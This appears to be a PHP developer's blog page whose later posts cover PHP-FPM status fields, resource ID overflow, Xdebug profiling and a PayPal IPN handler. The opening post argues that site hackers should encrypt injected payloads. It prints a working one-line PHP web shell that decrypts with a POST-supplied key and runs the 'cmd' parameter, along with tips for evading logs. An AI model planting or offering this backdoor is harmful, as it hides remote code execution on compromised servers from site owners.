Encrypted Malware Payloads

Recently, I was reading an article on the recently discovered hacker group dubbed the Equation Group[1], I stumbled across an interesting concept: encrypted malware payloads. Most server admins will inevitably have the experience of dealing with a comprised system, especially if you host sites running WordPress[2][3], IPB[4], vBulletin[5], Drupal[6], or a host of other systems which tend to exhibit a high number of easy to remotely exploit vulnerabilities (sometimes in the core software, more frequently in plugins). I’ve dealt with a number of compromised sites, analyzing the PHP that was injected into them.

Typically, what I’ve seen and what appears to be common, is an obfuscated payload, using base64 encoded strings and the eval() function (which executes a string as PHP code[7]). These are easy to spot (malicious PHP code normally is) and easy to de-obfuscate, determining the purpose of the code. I recently went through that process on a newly acquired client’s site, discovering that the payload was a spammy backlink page designed to improve S.E.O. for target sites by injecting links whenever the Google bot requested the page.

It’s now occurred to me, that hackers & spammers would be better off encrypting their payloads in situations like this, but I almost never see that for some reason. There are three types of common hacks: hackers inject some sort of control panel that lets them do all sorts of things like read the file system and run arbitrary commands/code, spammy backlink pages like I described above, and “other” hacks like defacing a site. The first two are highly targeted attacks that may be suitable for encrypted payloads. The key for encrypting the payload is the key must somewhat difficult to determine, so it has to be external.

In the first case, you could use a random POST parameter to supply your encryption key. POST parameters have the advantage that they are rarely logged. If your code is run on every page, you could simply to a non-suspicious POST to some arbitrary page (e.g. the home page, or for even less suspicion, a page with a form on it).

For targeted attacks like SEO pages, you could use the user agent. While they could be pretty easy to determine, it does make the process more difficult and tedious.

Of course, encrypted payloads will stand out just as much as base64 encoded payloads, but at least their purposes would remain a secret. Here is an example:

<?php
eval(openssl_decrypt('V1MrPqUg83vX83Hc6qgIYnhXFB3T971/9ZGj6RIYG/8=', 'aes128', $_POST['key'], 0, "0123456789ABCDEF"));

This takes a password from a POST parameter named key. The decoded payload simply runs eval() on the contents of the cmd POST parameter. You could get more sophisticated and fall back to mcrypt if openssl isn’t available, maybe even include a pure PHP library.

Just food for thought.

Understanding the PHP-FPM status page

PHP-FPM has a very useful feature that allows you to setup a status page to view that status of a PHP-FPM pool, configurable using the option pm.status_path. Most people who have worked with PHP-FPM have probably heard of this setting, and maybe even used it (some tools such as Munin require it for metrics). Here is a sample of the basic output:

$ curl http://localhost/server-status
pool: default
process manager: dynamic
start time: 11/Dec/2014:17:51:33 -0500
start since: 61383
accepted conn: 4682
listen queue: 0
max listen queue: 0
listen queue len: 0
idle processes: 11
active processes: 1
total processes: 12
max active processes: 2
max children reached: 0
slow requests: 3

There is also the very useful full view, which gives you per-process information for every currently running FPM process in the pool:

$ curl http://localhost/server-status?full
pool: default
process manager: dynamic
start time: 11/Dec/2014:17:51:33 -0500
start since: 61418
accepted conn: 4687
listen queue: 0
max listen queue: 0
listen queue len: 0
idle processes: 11
active processes: 1
total processes: 12
max active processes: 2
max children reached: 0
slow requests: 3

************************
pid: 29187
state: Idle
start time: 12/Dec/2014:07:00:14 -0500
start since: 14097
requests: 112
request duration: 85
request method: GET
request URI: /watcher.php
content length: 0
user: -
script: /var/www/vhosts/www.example.com/watcher.php
last request cpu: 0.00
last request memory: 262144

This view can be somewhat difficult to understand if you’re not super familiar with PHP (and some parameters like Request Duration can be hard to understand even if you are).

Recently, I’ve been trying to find what the unit is for the request duration, and couldn’t find anything on Google. I dived into the C source code, and there was a very handy doc comment explaining each parameter, that I’ll include here.

Pool info:

  • pool – the name of the pool
  • process manager – static, dynamic or ondemand
  • start time – the date and time FPM has started
  • start since – number of seconds since FPM has started
  • accepted conn – the number of requests accepted by the pool
  • listen queue – the number of requests in the queue of pending connections
  • max listen queue – the maximum number of requests in the queue of pending connections since FPM has started
  • listen queue len – the size of the socket queue of pending connections
  • idle processes – the number of idle processes
  • active processes – the number of active processes
  • total processes – the number of idle + active processes
  • max active processes – the maximum number of active processes since FPM has started
  • max children reached – the number of times, the process limit has been reached, when pm tries to start more children (works only for pm ‘dynamic’ and ‘ondemand’)
  • slow requests – the number of requests that exceeded your request_slowlog_timeout value

Per process info:

  • pid – the PID of the process
  • state – the state of the process (Idle, Running, …)
  • start time – the date and time the process has started
  • start since – the number of seconds since the process has started
  • requests – the number of requests the process has served
  • request duration – the duration in microseconds (1 million in a second) of the current request (my own definition)
  • request method – the request method (GET, POST, …) (of the current request)
  • request URI – the request URI with the query string (of the current request)
  • content length – the content length of the request (only with POST) (of the current request)
  • user – the user (PHP_AUTH_USER) (or ‘-‘ if not set) (for the current request)
  • script – the main script called (or ‘-‘ if not set) (for the current request)
  • last request cpu – the %cpu of the last request consumed (it’s always 0 if the process is not in Idle state because CPU calculation is done when the request processing has terminated)
  • last request memory – the max amount of memory the last request consumed (it’s always 0 if the process is not in Idle state because memory calculation is done when the request processing has terminated)

Long running PHP script gotcha

So I was recently answering a question on StackOverflow, and learned something quite interesting about PHP.  This particular aspect of PHP mostly affects long running scripts, such as PHP based servers or daemons.

PHP does not re-use resource ids internally, so eventually your script could run into an error with the resource ID overflows and wraps around into the negatives, which pretty much breaks everything. There was a bug report opened about it in 2009, but the issue is still present. This is a huge issue, because resources are used all over, even in not-so-apparent places. For example, most file operations use resources, as do database connections and network sockets. Some of these are obvious, as functions return a resource object (such as socket_accept). Others are not obvious, like file_get_contents, which actually uses two resources under the hood, incrementing the internal resource ID counter by two

The maximum resource id depends on your architecture (32 or 64 bit), and possibly the options used to compile PHP. On 32 bit systems, it’s almost certainly going to be 2,147,483,647. On 64 bit systems, its probably going to be 9,223,372,036,854,775,807.

While this limit is far easier to hit on 32 bit systems, it’s still possible on 64 bit systems if your script is very long running. This limit is good to be aware of when designing your application, as it’s possible to mitigate by using techniques such as forking and multiple processes.

Demonstration:

<?php
echo gmp_init("0x41682179fbf5")."\n";// Resource id #4
echo gmp_init("0x41682179fbf5")."\n";// Resource id #5
echo gmp_init("0x41682179fbf5")."\n";// Resource id #6
file_get_contents('/etc/hosts');
echo gmp_init("0x41682179fbf5")."\n";// Resource id #9
echo gmp_init("0x41682179fbf5")."\n";// Resource id #10
echo gmp_init("0x41682179fbf5")."\n";// Resource id #11

The above code will demonstrate resource IDs incrementing if you run it locally (requires php5-gmp). You can also see file_get_contents incrementing the ID by two.

Optimizing Your PHP with Xdebug

I work with a lot of PHP applications, and part of my job is optimizing those applications to reduce server costs and maximize how many requests each server can handle. There are many ways to do this, but I’m going to talk about using a profiler, which is one of the better ways to start optimizing your code base.

You’ve probably heard people saying not to get caught up in premature optimization, maybe you’ve heard them follow up with profile your code to find the bottlenecks. A lot of people don’t know what this means, or are under the impression that profiling is quite hard to setup. However, this is certainly not true. Profiling PHP is very simple, thanks to the wonderful Xdebug extension. Before we get started setting up Xdebug, you’re going to need a program to read the profiling information files, known as cachegrind files. I personally recommend using KCacheGrind (also available on Windows), although WinCacheGrind is another good alternative. Finally, there is a very lightweight profiler called WebGrind that is web based. You should download and install one of these programs.

Before continuing, a small note about callgrind/cachegrind files. Callgrind is a tool included with Valgrind, a C/C++ analysis tool. A lot of different profilers support this format, so the information about interpreting the results below are language agnostic.

Installing Xdebug

These instructions are for Ubuntu, however it’s pretty easy to find instructions for whatever platform you are on. Xdebug is quite popular.

Simply install the Xdebug PHP extension using apt, and you’re set:

sudo apt-get install php5-xdebug

You may need to restart Apache/PHP-FPM. You can verify it’s installed using phpinfo, or by running php -i | grep xdebug.

Configuring Xdebug

Next, we need to enable the Xdebug profiler (it’s disabled by default). We have two options here: Always on, or we can turn it on my setting a GET parameter or cookie. I recommend the second option, it’ll make your life easier.

Edit your php.ini file, and add the following option:

xdebug.profiler_output_dir = /path/to/store/cachegrind/files

I use the following:

xdebug.profiler_output_dir = /var/www/_profiler

Make sure the directory exists.

Next, enable the profiler.

Always On:

xdebug.profiler_enable = 1

Enabled using the GET/POST/COOKIE param XDEBUG_PROFILE=1:

xdebug.profiler_enable_trigger = 1

The above settings are mutually exclusive, so only use one of them.

Dumping A Cachegrind File

Cachegrind files contain all of the profiling information for your application. Simply navigate to your site with the GET parameter set, like so:

http://localhost:11000/?XDEBUG_PROFILE=1

In the configured profiler output directory, you should see a file named like this: cachegrind.out.8803 (the number will be different for you)

Now, open this file using your cachegrind viewer.

cachegrind

This is an example from a local development machine running WordPress, that was loading quite slowly for some reason. The first thing you should do, is sort by “Self” time, like I have. Please note that times here are relative, and don’t mean a whole lot by themselves.

If you’re wondering what the different between “Incl” (Inclusive) and Self time is, it’s quite simple. Inclusive time is the time required to run a function including the time it took to run every other function called by this function. That’s why your main file will have the highest inclusive time, it runs everything. Self time is far more useful, and is the time it took to run just that function, not any functions called by it. That’s the column important for optimization. Here, we can see that curl_exec was called 7 times, and took about 10 times longer than the next slowest call.

You can use the callers tab to see which functions called each function, and step through the execution of your program. You can also browse the source code for the function being called (You may have to map directories to your source directory if you’re running kcachegrind on another machine, do this from the settings). I did this for the above curl_exec, and was able to narrow down the trouble to the WordPress version check, which I then disabled as I do updates to this site manually.

On another site, I noticed the custom routing function was taking a substantial amount of time to map routes. When I looked at the function, it was doing a bunch of work to clean up and normalize the routes. This was a developer convenience feature, but had a high performance cost. I removed all of the normalization code, and fixed all of the routes to ensure they were already normalized, and it sped the site up by about 12ms.

The Call Graph

The call graph, a tab located in the bottom right pane, is a useful visualization of the call graph for the currently selected function call.

call_graphA call graph is a directed graph that representing the calling relationships between functions in your code. The functions pointing TO get_option (in the middle) are functions that call get_option. The functions that get_option points to are functions called from in the get_option function itself. This tool is useful for visualizing the cost of a function and where the cost comes from.

Conclusion

Profiling your code allows you to find the slowest calls and spend effort fixing those, instead of blindly fixing things that may have very little impact on performance. It’s an essential tool for any developer. I urge any programmers reading this to get familiar with a profiling tool, whether it’s Xdebug for PHP or the equivalent for your language of choice. It will make you far more productive, and you’ll wonder how you lived without it!

PayPal IPN/PDT Libraries

A long time ago, I wrote a few PHP scripts to help me work with PayPal IPN & PDT requests. I’ve been using them in my projects ever since, but they’ve been in desperate need of an update. Recently I was refactoring a client’s website, and decided to rewrite my PayPal scripts while I was at it.

The new scripts are namespaced, and much cleaner. They are available over on GitHub at brandonwamboldt/paypal-tools. These scripts don’t do much on their own, but are meant to be integrated with your own code base.

Here is a real world example of how I am using the code in my WordPress payments module (which I hope to release on GitHub as well).

$ipn = new \PayPal\IpnRequest();
$ipn->process(function($data) {
  parse_str(urldecode($data['custom']), $custom);

  // Check to see if we should handle it
  if (!isset($custom['wpipn'])) {
    return;
  }

  // Parent?
  if (isset($data['parent_txn_id'])) {
    $parent = Transaction::find_one_by('transaction_id', $data['parent_txn_id']);
  }

  // Does it already exist in our system (from PDT most likely)
  $transaction     = Transaction::find_one_by('transaction_id', $data['txn_id']);
  $new_transaction = false;

  if (!$transaction) {
    $new_transaction = true;
    $transaction     = new Transaction;
    $transaction->set_processed(0);
  }

  // Create a transaction
  $transaction->set_parent_id($parent ? $parent->primary_key() : 0);
  $transaction->set_transaction_id($data['txn_id']);
  $transaction->set_user_id($custom['user']);
  $transaction->set_transaction_gross($data['mc_gross']);
  $transaction->set_transaction_fee($data['mc_fee']);
  $transaction->set_transaction_tax($data['tax']);
  $transaction->set_currency($data['mc_currency']);
  $transaction->set_action($custom['action']);
  $transaction->set_link_to('');
  $transaction->set_previous_value($custom['prev']);
  $transaction->set_new_value($custom['next']);
  $transaction->set_effective_date(new DateTime($custom['effective']));
  $transaction->set_payment_processor('paypal_standard');
  $transaction->set_payment_processor_data($data);
  $transaction->set_other_data([]);
  $transaction->set_sandbox(isset($data['test_ipn']) ? $data['test_ipn'] : 0);
  $transaction->set_payment_date(new DateTime($data['payment_date']));
  $transaction->set_status($data['payment_status']);

  // If the transaction is a refund, void, etc, we need to reverse the
  // action being performed, so switch previous/next values
  if ($transaction->is_unsuccessful()) {
    $transaction->set_previous_value($custom['next']);
    $transaction->set_new_value($custom['prev']);
  }

  // If the transaction is incomplete, we shouldn't do anything.
  if ($transaction->is_incomplete()) {
    $transaction->set_previous_value($custom['prev']);
    $transaction->set_new_value($custom['prev']);
  }

  // Save
  $transaction->save();

  // Plugin hook
  if ($new_transaction) {
    do_action('payments:transaction:processed', $custom['action'], $transaction);
  }

  http_response_code(200);
  exit;
});